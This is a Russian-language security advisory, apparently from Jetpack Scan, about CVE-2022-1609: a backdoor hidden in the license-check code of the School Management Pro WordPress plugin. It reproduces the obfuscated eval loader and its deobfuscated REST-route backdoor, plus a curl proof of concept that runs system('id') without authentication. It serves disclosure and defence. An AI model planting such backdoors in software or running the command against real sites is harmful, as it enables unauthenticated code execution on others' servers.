В плагине The School Management Pro для WordPress обнаружен бэкдор

Опубликовано: 2022-05-20

Версии до 9.9.7 плагина WordPress «The School Management Pro» от Weblizar содержат бэкдор, позволяющий злоумышленнику, не прошедшему проверку подлинности, выполнять произвольный PHP-код на сайтах с установленным плагином. Если на вашем сайте установлена ​​более ранняя версия, мы рекомендуем немедленно обновить ее до версии 9.9.7 или выше. Это критическая проблема безопасности.

Читайте дальше, чтобы узнать все подробности.

Подробности:

  • Название плагина: The School Management Pro
  • Слаг плагина: school-management-pro , school-management-pro-9.9.6 , school-management-pro-9.9.5 , the-school-management и т. д.
  • Поставщик: Веблизар
  • Затронутые версии: < 9.9.7
  • CVE: CVE-2022-1609
  • Оценка CVSS: 10,0 (критический)
  • Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

Частью работы здесь, в Jetpack Scan, является поддержка нашего хостингового бизнеса WordPress путем проверки подозрительных файлов, найденных на сайтах, которые мы размещаем. Обычно это происходит из-за того, что файл помечен одной из наших подписей, или из-за того, что владелец сайта обнаружил что-то подозрительное и хочет узнать наше мнение. По природе вещей иногда эти файлы безобидны, некоторые из них являются ложными срабатываниями, а некоторые представляют собой новые штаммы или варианты вредоносных программ, которые требуют дополнительной работы по правильной классификации.

Иногда, однако, то, что мы получаем вместе, более интересно.

Пару недель назад произошел один такой случай. Команда поддержки WordPress.com связалась с нами по поводу запутанного, явно вредоносного кода, обнаруженного в плагине на нескольких сайтах.

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

После двух раундов тривиальной деобфускации это дает:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

Сам код не так уж и интересен: это очевидный бэкдор, внедренный в код проверки лицензии плагина. Это позволяет любому злоумышленнику выполнить произвольный PHP-код на сайте с установленным плагином, как видно из доказательства концепции ниже:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

Это то, что мы часто видим в плагинах с нулевым значением; это происходит так часто, что у нас есть подобный случай, уже описанный в предыдущем посте. Наше первое предположение состояло в том, что и здесь дело обстоит так же; владельцы сайта установили плагин из сомнительного источника.

Однако нас уверили, что установленные плагины получены напрямую от производителя. Это также было быстро подтверждено поставщиком, который удалил оскорбительный код после того, как узнал о его наличии.

Мы попытались получить больше информации от поставщика о том, когда был внедрен бэкдор, какие версии затронуты и как код вообще оказался в плагине. Эта попытка не увенчалась успехом, поскольку поставщик говорит, что не знает, когда и как код попал в их программное обеспечение.

Мы видели версии по крайней мере из 8.9, которые содержали бэкдор в наших размещенных системах, но, поскольку у нас нет четкой информации о том, когда бэкдор впервые появился, мы должны предположить, что затронута любая версия до 9.9.7.

Обнаружение и оповещение о проблеме еще более усложняются тем, что плагин работает под несколькими различными слагами, часто используя слаги, содержащие номер версии. В наших размещенных системах мы видели как минимум следующие варианты:

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

Бесплатная версия из репозитория плагинов WordPress.org не содержит лицензионного кода, а также не подвержена влиянию этого бэкдора.

График

04.05.2022: Вызванная служба поддержки WordPress.com обнаруживает внедренный код и обращается к Jetpack Scan для анализа и проверки находки. После подтверждения того, что это бэкдор, они уведомляют поставщика.

05.05.2022: Поставщик подтверждает, что внедренный код действительно присутствует в их дистрибутиве, и предоставляет нам версию 9.9.7, в которой бэкдор удален. Мы подтверждаем, что он чистый.

06.05.2022: Поставщик активно распространяет версию 9.9.7 среди своих клиентов и призывает их обновить ее.

10 мая 2022 г.: Поставщик ответил на наши дополнительные вопросы о том, знали ли они, когда был добавлен бэкдор, но заявил, что не знает. Они предоставили предыдущую версию, 9.9.4, которая включала бэкдор.

Вывод

Мы рекомендуем, чтобы любой сайт с установленной версией The School Management Pro, предшествующей 9.9.7, немедленно обновился.

В Jetpack мы прилагаем все усилия, чтобы ваши веб-сайты были защищены от подобных уязвимостей. Мы рекомендуем вам иметь план безопасности для вашего сайта, который включает сканирование вредоносных файлов и резервное копирование. Jetpack Security — это отличный вариант безопасности WordPress для обеспечения безопасности вашего сайта и посетителей.

Кредиты

Это исследование было результатом сотрудничества группы поддержки WordPress.com с Ником Севичем, Томом Стакхаусом и Джошуа Гудом, а также Jetpack Scan с Харальдом Эйлертсеном и Фиораванте Каваллари. Также спасибо Бенедикту Сингеру за отзывы и исправления.